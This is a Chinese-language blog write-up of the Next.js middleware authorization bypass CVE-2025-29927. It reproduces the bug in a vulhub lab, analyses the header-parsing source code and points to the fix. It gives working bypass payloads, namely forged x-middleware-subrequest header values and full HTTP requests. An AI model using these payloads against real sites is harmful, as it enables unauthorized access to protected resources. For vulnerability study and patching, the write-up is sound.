Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927)

前言

最近 next.js 也是爆出了一个非常严重的漏洞,正好 p 神知识星球通知已经给了更方便搭建的环境,有了环境就可用来分析分析这个漏洞,看看怎么个事了

​

漏洞描述

​CVE-2025-29927 是 Next.js 框架中发现的一个严重授权绕过漏洞。​该漏洞允许攻击者通过伪造特定的 HTTP 请求头,绕过中间件中的授权检查,从而未经授权地访问受保护的资源。​此问题影响了使用“next start”命令并设置“output: 'standalone'”的自托管 Next.js 应用程序。​

Next.js 使用内部头字段“x-middleware-subrequest”来防止递归请求导致的无限循环。​攻击者可以通过在请求中伪造该头字段,跳过中间件的执行,从而绕过关键的安全检查,例如授权 Cookie 验证。

受影响的版本

Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9

影响范围

使用中间件的自托管 Next.js 应用程序(next start with output: standalone)
依赖 Middleware 进行身份验证或安全检查的应用程序,稍后不会在应用程序中进行验证

环境搭建

使用 p 神的https://github.com/vulhub/vulhub/blob/master/next.js/CVE-2025-29927/README.zh-cn.md

拉取镜像即可

┌──(root㉿kali)-[/home/…/Desktop/vulhub/next.js/CVE-2025-29927]
└─# docker-compose up -d
Creating network "cve-2025-29927_default" with the default driver
Pulling web (vulhub/nextjs:15.2.2)...
15.2.2: Pulling from vulhub/nextjs
6e909acdb790: Pull complete
d714f4673cad: Pull complete
be84add755f8: Pull complete
9a8d89ceeab1: Pull complete
4c07c1809c8e: Pull complete
a98958ee95bc: Pull complete
23bec30f180e: Pull complete
bf031c299822: Pull complete
Digest: sha256:d4df62ece026292a8068bf48667fd8ad44b31120237ff302de294da88d7ee018
Status: Downloaded newer image for vulhub/nextjs:15.2.2
Creating cve-2025-29927_web_1 ... done
                                                  

还可用参考https://github.com/aydinnyunus/CVE-2025-29927

克隆此存储库
安装依赖项:npm install
构建应用程序:npm run build
在生产模式下启动应用程序: node .next/standalone/server.js
测试漏洞:node exploit-test.js

漏洞复现

其实漏洞复现其实就是非常的简单了

首先我们正常访问我们一个页面

是一个需要登录的页面

但是如果我们加入 x-middleware-subrequest 请求头

value 为
middleware:middleware:middleware:middleware:middleware

五个

可用看到已经成功绕过了权限鉴定,来到了登录后的页面

成功的payload

GET / HTTP/1.1
Host: 192.168.177.146:3000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: DG_USER_ID_ANONYMOUS=7033ba251f524b5e815dc1b148dbbdbc; JSESSIONID=3B2EE7639B7231D3AE60969B003AB821; x-token=PfyuxmzgIzp2znoKhRqizLyFJrNfgj9i50QnO7mEHhA; csrftoken=EyIOivKpZgwACGAHlzK6sA6ptGmbxkgwyRgLzbbs2qMAE6y6WsRkAb1NSCoKfBvM; JSESSIONID.ff903be3=node018vbe3uahna2ff0il8s7khjf16.node0; JSESSIONID.a75800ce=node013fgynw2d7qbz19yxpn664qk7a1.node0; JSESSIONID.10dad7f1=node01k79svolizcp31uswn241odu6y1.node0; phpMyAdmin=f3ace94ab900c94ad23226d4a2e8a375
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Connection: keep-alive

漏洞分析

我们重点分析就是根据我们的 paylaod,聚焦于我们的请求头了

在 Next.js 中,中间件(Middleware)是一种强大的工具,可以用于在请求到达 API 路由或页面组件之前执行全局逻辑,比如身份验证、请求拦截、重定向等。

参考https://github.com/aydinnyunus/CVE-2025-29927

import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'

// Simulating an authentication state - in a real app this would check session/tokens
const isAuthenticated = false

// Standard middleware that checks for authentication
export function middleware(request: NextRequest) {
  // Log request info
  console.log('Middleware executing for path:', request.nextUrl.pathname)
  console.log('Headers:')
  const headerEntries = Array.from(request.headers.entries())
  headerEntries.forEach(([key, value]) => {
    console.log(`  ${key}: ${value}`)
  })

  // Check specifically for the exploit header
  const hasExploitHeader = request.headers.has('x-middleware-subrequest')
  const exploitValue = request.headers.get('x-middleware-subrequest')
  console.log('x-middleware-subrequest present:', hasExploitHeader)
  console.log('x-middleware-subrequest value:', exploitValue)

  // Check if the request is for the protected route
  if (request.nextUrl.pathname.startsWith('/protected')) {
    // Check if user is authenticated
    if (!isAuthenticated) {
      console.log('Auth failed - redirecting to /')
      // Redirect to the home page if not authenticated
      return NextResponse.redirect(new URL('/', request.url))
    }
  }

  return NextResponse.next()
}

// Configure middleware to run on specific paths
export const config = {
  matcher: ['/protected/:path*'],
} 


而我们的​x-middleware-subrequest 是 Next.js 框架内部使用的一个特殊 HTTP 请求头,主要用于标识和处理内部子请求,防止中间件的递归调用。


Next.js 的中间件(Middleware)可以重写(rewrite)、重定向(redirect)或修改请求。

当中间件重写请求路径(例如 /api/protected 被重写为 /api/auth-check),Next.js 服务器会重新触发新的请求,这个请求仍然会经过中间件。

如果没有 x-middleware-subrequest 进行标识,新的请求会再次触发相同的中间件,导致无限递归调用,最终造成服务器崩溃或请求死循环。

比如

用户请求 https://example.com/protected

中间件发现用户未登录,重写到 https://example.com/api/auth-check

服务器接收到新请求 https://example.com/api/auth-check,但它又会触发相同的中间件

中间件继续重写,导致死循环(无限递归)💀

如果我们使用了 x-middleware-subrequest 请求头

用户请求 https://example.com/protected

中间件重写请求到 https://example.com/api/auth-check

Next.js 自动在新请求上添加 x-middleware-subrequest

中间件检测到 x-middleware-subrequest 存在,跳过处理,避免递归

api/auth-check 正常执行,返回结果


老版本

在老版本(如 12.2 以下)时

next.js/packages/next/server/next-server.ts
如果我们有中间件,那么就会调用 runMiddleware 函数

protected async runMiddleware(params: {
  request: IncomingMessage
  response: ServerResponse
  parsedUrl: ParsedNextUrl
  parsed: UrlWithParsedQuery
  onWarning?: (warning: Error) => void
}): Promise<FetchEventResult | null> {
  this.middlewareBetaWarning()

  const page: { name?: string; params?: { [key: string]: string } } = {}
  if (await this.hasPage(params.parsedUrl.pathname)) {
    page.name = params.parsedUrl.pathname
  } else if (this.dynamicRoutes) {
    for (const dynamicRoute of this.dynamicRoutes) {
      const matchParams = dynamicRoute.match(params.parsedUrl.pathname)
      if (matchParams) {
        page.name = dynamicRoute.page
        page.params = matchParams
        break
      }
    }
  }

  const subreq = params.request.headers[`x-middleware-subrequest`]
  const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
  const allHeaders = new Headers()
  let result: FetchEventResult | null = null

  for (const middleware of this.middleware || []) {
    if (middleware.match(params.parsedUrl.pathname)) {
      if (!(await this.hasMiddleware(middleware.page, middleware.ssr))) {
        console.warn(`The Edge Function for ${middleware.page} was not found`)
        continue
      }

      await this.ensureMiddleware(middleware.page, middleware.ssr)

      const middlewareInfo = getMiddlewareInfo({
        dev: this.renderOpts.dev,
        distDir: this.distDir,
        page: middleware.page,
        serverless: this._isLikeServerless,
      })

      if (subrequests.includes(middlewareInfo.name)) {
        result = {
          response: NextResponse.next(),
          waitUntil: Promise.resolve(),
        }
        continue
      }

      result = await run({
        name: middlewareInfo.name,
        paths: middlewareInfo.paths,
        request: {
          headers: params.request.headers,
          method: params.request.method || 'GET',
          nextConfig: {
            basePath: this.nextConfig.basePath,
            i18n: this.nextConfig.i18n,
            trailingSlash: this.nextConfig.trailingSlash,
          },
          url: getRequestMeta(params.request, '__NEXT_INIT_URL')!,
          page: page,
        },
        useCache: !this.nextConfig.experimental.concurrentFeatures,
        onWarning: (warning: Error) => {
          if (params.onWarning) {
            warning.message += ` "./${middlewareInfo.name}"`
            params.onWarning(warning)
          }
        },
      })

      for (let [key, value] of result.response.headers) {
        if (key !== 'x-middleware-next') {
          allHeaders.append(key, value)
        }
      }

      if (!this.renderOpts.dev) {
        result.waitUntil.catch((error) => {
          console.error(`Uncaught: middleware waitUntil errored`, error)
        })
      }

      if (!result.response.headers.has('x-middleware-next')) {
        break
      }
    }
  }

  if (!result) {
    this.render404(params.request, params.response, params.parsed)
  } else {
    for (let [key, value] of allHeaders) {
      result.response.headers.set(key, value)
    }
  }

  return result
}

处理的主要逻辑也是在这里

匹配 URL,查找相应的中间件(Middleware)。

防止递归调用,通过 x-middleware-subrequest 标记已经执行的中间件,避免无限循环。

执行匹配的中间件,并收集其响应。

根据执行结果处理请求,决定是继续执行下一个中间件,还是返回最终的 HTTP 响应。

我们观察解析我们的 header 部分

const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []

这里 x-middleware-subrequest 的值是一个字符串,通过 : 进行拆分,得到已执行中间件的列表。

我们观察对列表的处理

if (subrequests.includes(middlewareInfo.name)) {
  result = {
    response: NextResponse.next(),
    waitUntil: Promise.resolve(),
  }
  continue
}

如果 subrequests 数组中已经包含 middlewareInfo.name,那么这个中间件直接跳过,返回 NextResponse.next(),请求会继续前进,完全绕过该中间件的执行。

所以我们的绕过思路就出来了

伪造的 x-middleware-subrequest 头部,并让它包含目标中间件的名称,从而欺骗 runMiddleware 认为该中间件已经执行过,导致其被跳过。


GET /dashboard/team/admin HTTP/1.1
Host: example.com
x-middleware-subrequest: pages/_middleware

当然如何知道中间件的名称也是非常重要的

首先中间件必须命名为 ` _middleware.ts

必须位于 pages/ 目录下(因为 App Router 在 13 版本才推出)

所以我们可用轻易推测出我们的中间件名称为

x-middleware-subrequest: pages/_middleware

高版本绕过

在 cve 版本中

我们看到代码

export const run = withTaggedErrors(async function runWithTaggedErrors(params) {
const runtime = await getRuntimeContext(params)
const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []

const MAX_RECURSION_DEPTH = 5
const depth = subrequests.reduce(
  (acc, curr) => (curr === params.name ? acc + 1 : acc),
  0
)

if (depth >= MAX_RECURSION_DEPTH) {
  return {
    waitUntil: Promise.resolve(),
    response: new runtime.context.Response(null, {
      headers: {
        'x-middleware-next': '1',
      },
    }),
  }
}

为了防止中间件被反复调用导致无限循环

加入了上面代码的逻辑
首先还是一样解析它的值

subrequests 数组存储了所有子请求的名称,subreq.split(':') 将 x-middleware-subrequest 请求头中的值拆分成一个数组。

然后开始计算中间件出现的次数,depth 计算出当前中间件在请求头中的出现次数

如果递归深度超过了 MAX_RECURSION_DEPTH(5),中间件就会停止执行,返回一个包含 x-middleware-next: 1 头部的响应,允许请求继续执行并绕过当前中间件。

那么目前就是寻找中间件名称了

而在高版本,对中间件的文件又要了要求

中间件文件更名为 middleware.ts

可以参考复现 cve 的各种环境

https://github.com/lem0n817/CVE-2025-29927


┌──(root㉿kali)-[/home/…/Desktop/vulhub/next.js/CVE-2025-29927]
└─# docker exec -it bbc63dd1baec bash 
root@bbc63dd1baec:/app# ls
Dockerfile  app  components  middleware.js  next.config.js  node_modules  package.json  yarn.lock
root@bbc63dd1baec:/app#    

所以我们可以使用如下 payload

GET / HTTP/1.1
Host: 192.168.177.146:3000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: DG_USER_ID_ANONYMOUS=7033ba251f524b5e815dc1b148dbbdbc; JSESSIONID=3B2EE7639B7231D3AE60969B003AB821; x-token=PfyuxmzgIzp2znoKhRqizLyFJrNfgj9i50QnO7mEHhA; csrftoken=EyIOivKpZgwACGAHlzK6sA6ptGmbxkgwyRgLzbbs2qMAE6y6WsRkAb1NSCoKfBvM; JSESSIONID.ff903be3=node018vbe3uahna2ff0il8s7khjf16.node0; JSESSIONID.a75800ce=node013fgynw2d7qbz19yxpn664qk7a1.node0; JSESSIONID.10dad7f1=node01k79svolizcp31uswn241odu6y1.node0; phpMyAdmin=f3ace94ab900c94ad23226d4a2e8a375
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Connection: keep-alive

连续五个 middleware 名称

当然参考https://nextjs.org/docs/app/building-your-application/configuring/src-directory

除了在项目的根目录中拥有特殊的 Next.js app 或 pages 目录外,Next.js 还支持将应用程序代码放在 src 目录下的常见模式。

这将应用程序代码与项目配置文件分开,后者主要位于项目的根目录中,而某些个人和团队更喜欢这样做。

要使用 src 目录,请将 app Router 文件夹或 pages Router 文件夹分别移动到 src/app 或 src/pages 目录下。

可以使用如下 payload

x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

漏洞修复

其实漏洞修复官方非常的暴力

https://github.com/vercel/next.js/commit/52a078da3884efe6501613c7834a3d02a91676d2

直接删除了

参考https://github.com/lem0n817/CVE-2025-29927

https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware

https://github.com/vulhub/vulhub/blob/master/next.js/CVE-2025-29927